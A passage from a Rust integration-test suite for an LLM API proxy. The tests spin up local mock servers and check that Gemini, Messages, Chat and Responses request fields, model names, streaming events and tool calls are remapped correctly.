let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"city\"")
&& req.contains("\"parameters\"")
&& req.contains("get_weather"),
"dest Gemini parametersJsonSchema must reach Chat tools[0].function.parameters, got: {req}"
);
assert!(
!req.contains("\"properties\":{}"),
"dest-only parametersJsonSchema must not remap as empty parameters, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-parameters-json-schema.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-parameters-json-schema"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"weather"}]}],"tools":[{"functionDeclarations":[{"name":"get_weather","parametersJsonSchema":{"type":"object","properties":{"city":{"type":"string"}}}}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Gemini parametersJsonSchema follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_store_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"store\":false"),
"dest Gemini store:false must reach Chat store, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-store.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-store"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"store":false,"contents":[{"role":"user","parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Gemini store follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("path: \"sampling.store\", action: Drop"),
"--dump-loss must not Drop sampling.store, got: {dump}"
);
}
#[test]
fn proxy_dest_gemini_service_tier_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"service_tier\":\"priority\""),
"dest Gemini serviceTier must reach Chat service_tier, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-tier.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-tier"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"serviceTier":"priority","contents":[{"role":"user","parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Gemini serviceTier follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("path: \"sampling.service_tier\", action: Drop"),
"--dump-loss must not Drop sampling.service_tier, got: {dump}"
);
}
#[test]
fn proxy_dest_messages_path_model_reaches_upstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"claude-sonnet-4\""),
"dest Messages Vertex path model must reach Chat upstream, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-path.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-path"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"max_tokens":16,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/projects/p/locations/us-east5/publishers/anthropic/models/claude-sonnet-4:rawPredict HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("200") || resp.contains("hi"),
"dest Messages path-model remap must reach upstream, got: {resp}"
);
}
#[test]
fn proxy_dest_messages_stream_path_model_in_message_start() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"claude-sonnet-4\""),
"dest Messages stream path model must reach Chat upstream, got: {req}"
);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"stop\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-stream-model.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-stream-model"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"max_tokens":16,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/projects/p/locations/us-east5/publishers/anthropic/models/claude-sonnet-4:streamRawPredict HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("\"model\":\"claude-sonnet-4\""),
"dest Messages stream message_start must use the path model, got: {resp}"
);
assert!(
!resp.contains("\"model\":\"\""),
"dest Messages stream must not emit an empty model, got: {resp}"
);
}
#[test]
fn proxy_dest_messages_unary_path_model_in_body() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"claude-sonnet-4\""),
"dest Messages unary path model must reach Chat upstream, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-unary-model.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-unary-model"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"max_tokens":16,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/projects/p/locations/us-east5/publishers/anthropic/models/claude-sonnet-4:rawPredict HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("\"model\":\"claude-sonnet-4\""),
"dest Messages unary JSON must use the path model, got: {resp}"
);
}
#[test]
fn proxy_dest_chat_azure_path_model_reaches_upstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"gpt-4o\""),
"dest Chat Azure path model must reach Chat upstream, got: {req}"
);
assert!(
!req.contains("\"model\":\"\""),
"dest Chat Azure must not send an empty model, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-azure-path.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-azure-path"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /openai/deployments/gpt-4o/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("200") || resp.contains("hi"),
"dest Chat Azure path-model remap must reach upstream, got: {resp}"
);
}
#[test]
fn proxy_dest_responses_unary_model_in_body() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"gpt-4o\""),
"dest Responses model must reach Chat upstream, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-responses-unary-model.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-responses-unary-model"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","input":"hi"}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("\"model\":\"gpt-4o\""),
"dest Responses unary JSON must keep dest model, got: {resp}"
);
}
#[test]
fn proxy_dest_responses_stream_model_in_created() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"gpt-4o\""),
"dest Responses stream model must reach Chat upstream, got: {req}"
);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"stop\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-responses-stream-model.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-responses-stream-model"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","input":"hi","stream":true}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("\"model\":\"gpt-4o\""),
"dest Responses stream must emit dest model, got: {resp}"
);
}
#[test]
fn proxy_dest_responses_stream_text_item_done_keeps_text() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"stream\":true"),
"dest Responses stream text must reach Chat upstream, got: {req}"
);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"P\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"ong\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"stop\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-responses-stream-text.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-responses-stream-text"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","input":"hi","stream":true}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let done_item = resp
.split("event: response.output_item.done")
.nth(1)
.unwrap_or("");
assert!(
done_item.contains("\"type\":\"message\"") && done_item.contains("Pong"),
"dest Responses output_item.done must keep assembled text, got: {resp}"
);
}
#[test]
fn proxy_dest_responses_stream_reasoning_item_done_keeps_summary() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"stream\":true"),
"dest Responses stream reasoning must reach Chat upstream, got: {req}"
);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"reasoning_content\":\"think\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"stop\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-responses-stream-reason.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-responses-stream-reason"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","input":"hi","stream":true}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let reason_done = resp
.split("event: response.output_item.done")
.nth(1)
.unwrap_or("");
assert!(
reason_done.contains("\"type\":\"reasoning\"") && reason_done.contains("think"),
"dest Responses reasoning output_item.done must keep the summary, got: {resp}"
);
}
#[test]
fn proxy_dest_responses_tool_calls_status_is_completed() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("get_weather"),
"dest Responses tools must reach Chat upstream, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":null,"tool_calls":[{"id":"call_1","type":"function","function":{"name":"get_weather","arguments":"{\"city\":\"Paris\"}"}}]},"finish_reason":"tool_calls"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-responses-tools-status.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-responses-tools-status"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","input":"weather Paris","tools":[{"type":"function","name":"get_weather","parameters":{"type":"object","properties":{"city":{"type":"string"}}}}]}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("\"type\":\"function_call\"") && resp.contains("get_weather"),
"dest Responses tools must remap function_call, got: {resp}"
);
assert!(
resp.contains("\"status\":\"completed\""),
"dest Responses tool turn must use official completed status, got: {resp}"
);
assert!(
!resp.contains("\"status\":\"tool_calls\""),
"dest Responses must not leak Chat tool_calls as status, got: {resp}"
);
}
#[test]
fn proxy_dest_responses_stream_tool_item_done_keeps_call() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"stream\":true") && req.contains("get_weather"),
"dest Responses stream tools must reach Chat upstream, got: {req}"
);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"tool_calls\":[{\"index\":0,\"id\":\"call_1\",\"type\":\"function\",\"function\":{\"name\":\"get_weather\",\"arguments\":\"\"}}]}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"tool_calls\":[{\"index\":0,\"function\":{\"arguments\":\"{\\\"city\\\":\\\"Paris\\\"}\"}}]}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"tool_calls\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
